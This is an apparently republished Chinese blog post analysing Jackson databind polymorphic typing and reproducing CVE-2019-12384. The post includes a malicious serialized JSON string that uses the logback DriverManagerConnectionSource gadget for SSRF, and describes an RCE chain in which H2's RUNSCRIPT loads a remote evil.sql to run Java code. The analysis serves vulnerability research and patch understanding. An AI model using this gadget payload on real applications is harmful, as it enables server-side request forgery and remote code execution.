CVE-2019-12384 复现分析


之前对Jackson反序列化了解不多,工作需要刚好分析 CVE-2019-12384 漏洞,故此记录一下关于Jackson反序列化漏洞的理解。

1、Jackson的多态类型绑定

    官方介绍在:https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization,主要分两种:DefaultTyping@JsonTypeInfo

  • DefaultTyping

    主要有下面四种类型,其中默认是:OBJECT_AND_NON_CONCRETE(也是最常用类型)。

JAVA_LANG_OBJECT:仅影响Object.class类型的属性
OBJECT_AND_NON_CONCRETE:影响Object.class和所有非具体类型(抽象类,接口)
NON_CONCRETE_AND_ARRAYS:与上面相同,并且所有相同的数组类型(直接元素是非具体类型或Object.class)
NON_FINAL:影响未声明为“final”的所有类型,以及非最终元素类型的数组类型。

    a、JAVA_LANG_OBJECT :当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。测试代码:

package jacksonxx;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {

    public static void main(String[] args) throws Exception {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        p.object = new l1nk3r();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
     //age=10, name=com.l1nk3r.jackson.l1nk3r, jacksonxx.l1nk3r@239963d8 } }
class People { public int age; public String name; public Object object; @Override public String toString() { return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); } } class l1nk3r { public int length = 100; }

    此时,在我们进行序列化和反序列化的时候,序列化json信息中携带了相关的类的信息:"object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]

    b、OBJECT_AND_NON_CONCRETE:默认方法,除了上面的特征,当类里有 Interface 、 AbstractClass 时,也对其进行序列化和反序列化。测试代码:

package jacksonxx;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {

    public static void main(String[] args) throws Exception {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        p.object = new l1nk3r();
        p.sex = new MySex();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["jacksonxx.l1nk3r",{"length":100}],"sex":["jacksonxx.MySex",{"sex":0}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
        //age=10, name=com.l1nk3r.jackson.l1nk3r, jacksonxx.l1nk3r@57fffcd7
    }

}

class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}

class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}

    c、NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的Array类型(直接元素是非具体类型或Object.class)。例如下面的代码,我们的Object里存放l1nk3r的数组。

package jacksonxx;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {

    public static void main(String[] args) throws Exception {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        l1nk3r[] l1nk3rs= new l1nk3r[2];
        l1nk3rs[0]=new l1nk3r();
        l1nk3rs[1]=new l1nk3r();
        p.object = l1nk3rs;
        p.sex = new MySex();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Ljacksonxx.l1nk3r;",[{"length":100},{"length":100}]],"sex":["jacksonxx.MySex",{"sex":0}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
        //age=10, name=com.l1nk3r.jackson.l1nk3r, [Ljacksonxx.l1nk3r;@31a5c39e
    }

}

class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}

class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}

    d、NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。

package jacksonxx;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {

    public static void main(String[] args) throws Exception {
        People p = new People();
        p.age = 10;
        p.name = "l1nk3r";
        p.object = new l1nk3r();
        p.sex = new MySex();
        p.l1nk3r=new l1nk3r();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        //["jacksonxx.People",{"age":10,"name":"l1nk3r","object":["jacksonxx.l1nk3r",{"length":100}],"sex":["jacksonxx.MySex",{"sex":0}],"l1nk3r":["jacksonxx.l1nk3r",{"length":100}]}]
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
        //age=10, name=l1nk3r, jacksonxx.l1nk3r@57fffcd7
    }

}

class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    public l1nk3r l1nk3r;
    
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}

class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}
  • @JsonTypeInfo

    @JsonTypeInfo 也是jackson多态类型绑定的一种方式,它一共支持下面5种类型的取值。

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)

    其中只有CLASS、MINICMAL_CLASS在输出结果中携带了相关类,便于我们反序列化漏洞的利用。测试代码如下:

package com.l1nk3r.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Jsontypeinfo {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper= new ObjectMapper();
        User user = new User();
        user.name= "l1nk3r";
        user.age=100;
        user.obj=new Height();
        String json = mapper.writeValueAsString(user);
        System.out.println(json);
    }
}

class User{
    public String name;
    public int age;
    @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
    public Object obj;

    public String toString(){
        return "name:" + name + " age:" + age + " obj:" + obj;
    }
}

class Height{
    public int h = 100;
}

  所以上面的内容表明,我们在可控输入序列化字符串的时候,使用 enableDefaultTyping()、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) 时,才能成功反序列化出我们想要的类。

2、CVE-2019-12384

  回到我们的这个漏洞,利用该漏洞需要用到:logback-core和h2两个三方jar包,且能控制输入完整的恶意序列化字符串且使用了多态,整体来说利用场景比较有限。

  我们构造的恶意序列化字符串如下:

String content = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8888/aaa\"}]";

  其中 ch.qos.logback.core.db.DriverManagerConnectionSource 代表的是类名,后面 {} 里面的是类中url变量,值为 jdbc:h2:tcp://127.0.0.1:8888/aaa 。我们看看这个 ch.qos.logback.core.db.DriverManagerConnectionSourcel 类:

  

  Jackson在进行序列化的时候会循环调用序列化对象所属类的每一个get方法,当调用到类ch.qos.logback.core.db.DriverManagerConnectionSource的getConnection()方法的时,实际是去调用DriverManager. getConnection()方法去链接远程的数据库,也就导致产生了SSRF漏洞 。

   首先通过 mapper.readValue() 函数反序列化出要调用的 ch.qos.logback.core.db.DriverManagerConnectionSource 类对象,其中类中的远程加载的url为我们传入的ssrf地址,并返回该object对象:

  

  然后进入 mapper.writeValueAsString() 方法,传入object对象,然后循环去解析ch.qos.logback.core.db.DriverManagerConnectionSource类中的方法:

  

  当i为6时,跟进调用链,发现使用了DriverManager.getConnection()方法去链接远程的数据库,出现ssrf漏洞。

  

  而rce的利用,是使用了jdbc:h2:mem:来操作内存表,使用RUNSCRIPT FROM 'http://localhost:8888/evil.sql'来加载远程SQL文件在内存中执行,而我们的 evil.sql实际是一个java代码的函数,通过CALL来调用,于是造成java代码在本地应用执行,出现rce。

  

  

  漏洞修复补丁:https://github.com/FasterXML/jackson-databind/commit/c9ef4a10d6f6633cf470d6a469514b68fa2be234 

  

  在补丁中可以看到是直接把ch.qos.logback.core.db.DriverManagerConnectionSource 类加入了黑名单,我们的利用链也就无法利用成功了。但这种黑名单方式,局限性也比较大的,找到新的利用链即可再次利用,如:https://github.com/FasterXML/jackson-databind/compare/jackson-databind-2.9.9.1...jackson-databind-2.9.9.2(对应CVE-2019-14379、CVE-2019-14361)

 

参考:

https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

https://forum.90sec.com/t/topic/259


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM